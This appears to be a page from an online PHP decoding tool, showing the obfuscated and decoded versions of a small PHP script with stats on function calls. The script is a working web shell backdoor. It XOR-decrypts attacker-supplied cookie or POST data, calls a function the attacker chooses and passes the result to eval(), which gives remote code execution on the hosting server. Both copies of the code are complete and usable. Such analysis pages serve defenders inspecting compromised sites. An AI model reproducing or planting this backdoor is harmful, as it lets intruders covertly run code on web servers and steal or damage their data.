Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $str_repeat = chr(404 - 289) . chr(214 - 98) . chr(169 - 55) . '_' . "\162" . "\145..
Decoded Output download
<?php
$str_repeat = chr(404 - 289) . chr(214 - 98) . chr(169 - 55) . '_' . "r" . "e" . 'p' . chr(496 - 395) . chr(97) . "t";
$explode = chr(1079 - 978) . "x" . chr(112) . 'l' . "o" . 'd' . "e";
$count = 'c' . "o" . chr(441 - 324) . chr(110) . "t";
$pack = "p" . chr(97) . chr(1025 - 926) . "k";
$TSCeL = array("brLMyoHwdcWkxajgjFbfZVWI" => "yyAYmgp");
$VnlvCpqCM = array("NDTawHTF" => "AemfamThxC");
foreach (array($TSCeL, $_COOKIE, $VnlvCpqCM, $_POST, $TSCeL) as $opxnPj) {
foreach ($opxnPj as $fqbGLyZ => $YvmLX) {
$YvmLX = @$pack(chr(673 - 601) . chr(42), $YvmLX);
$fqbGLyZ .= "RiEiz-lFHg-qOHgOtD-cJyS-QDr-uQQ-aFsSMeq";
$fqbGLyZ = $str_repeat($fqbGLyZ, (strlen($YvmLX) / strlen($fqbGLyZ)) + 1);
$dzepLlzg = $YvmLX ^ $fqbGLyZ;
$dzepLlzg = $explode(chr(35), $dzepLlzg);
if ($count($dzepLlzg) == 3) {
$param1 = $dzepLlzg[1];
$param2 = $dzepLlzg[2];
$param3 = $param1($param2);
eval($param3);
die();
}
}
}
?>
Did this file decode correctly?
Original Code
<?php
$str_repeat = chr(404 - 289) . chr(214 - 98) . chr(169 - 55) . '_' . "\162" . "\145" . 'p' . chr(496 - 395) . chr(97) . "\164";
$explode = chr(1079 - 978) . "\x78" . chr(112) . 'l' . "\x6f" . 'd' . "\x65";
$count = 'c' . "\x6f" . chr(441 - 324) . chr(110) . "\x74";
$pack = "\x70" . chr(97) . chr(1025 - 926) . "\153";
$TSCeL = array("brLMyoHwdcWkxajgjFbfZVWI" => "yyAYmgp");
$VnlvCpqCM = array("NDTawHTF" => "AemfamThxC");
foreach (array($TSCeL, $_COOKIE, $VnlvCpqCM, $_POST, $TSCeL) as $opxnPj) {
foreach ($opxnPj as $fqbGLyZ => $YvmLX) {
$YvmLX = @$pack(chr(673 - 601) . chr(42), $YvmLX);
$fqbGLyZ .= "RiEiz-lFHg-qOHgOtD-cJyS-QDr-uQQ-aFsSMeq";
$fqbGLyZ = $str_repeat($fqbGLyZ, (strlen($YvmLX) / strlen($fqbGLyZ)) + 1);
$dzepLlzg = $YvmLX ^ $fqbGLyZ;
$dzepLlzg = $explode(chr(35), $dzepLlzg);
if ($count($dzepLlzg) == 3) {
$param1 = $dzepLlzg[1];
$param2 = $dzepLlzg[2];
$param3 = $param1($param2);
eval($param3);
die();
}
}
}
?>
Function Calls
chr | 11 |
Stats
MD5 | e107c7b3939f4ca41f3975e836fbecf3 |
Eval Count | 0 |
Decode Time | 82 ms |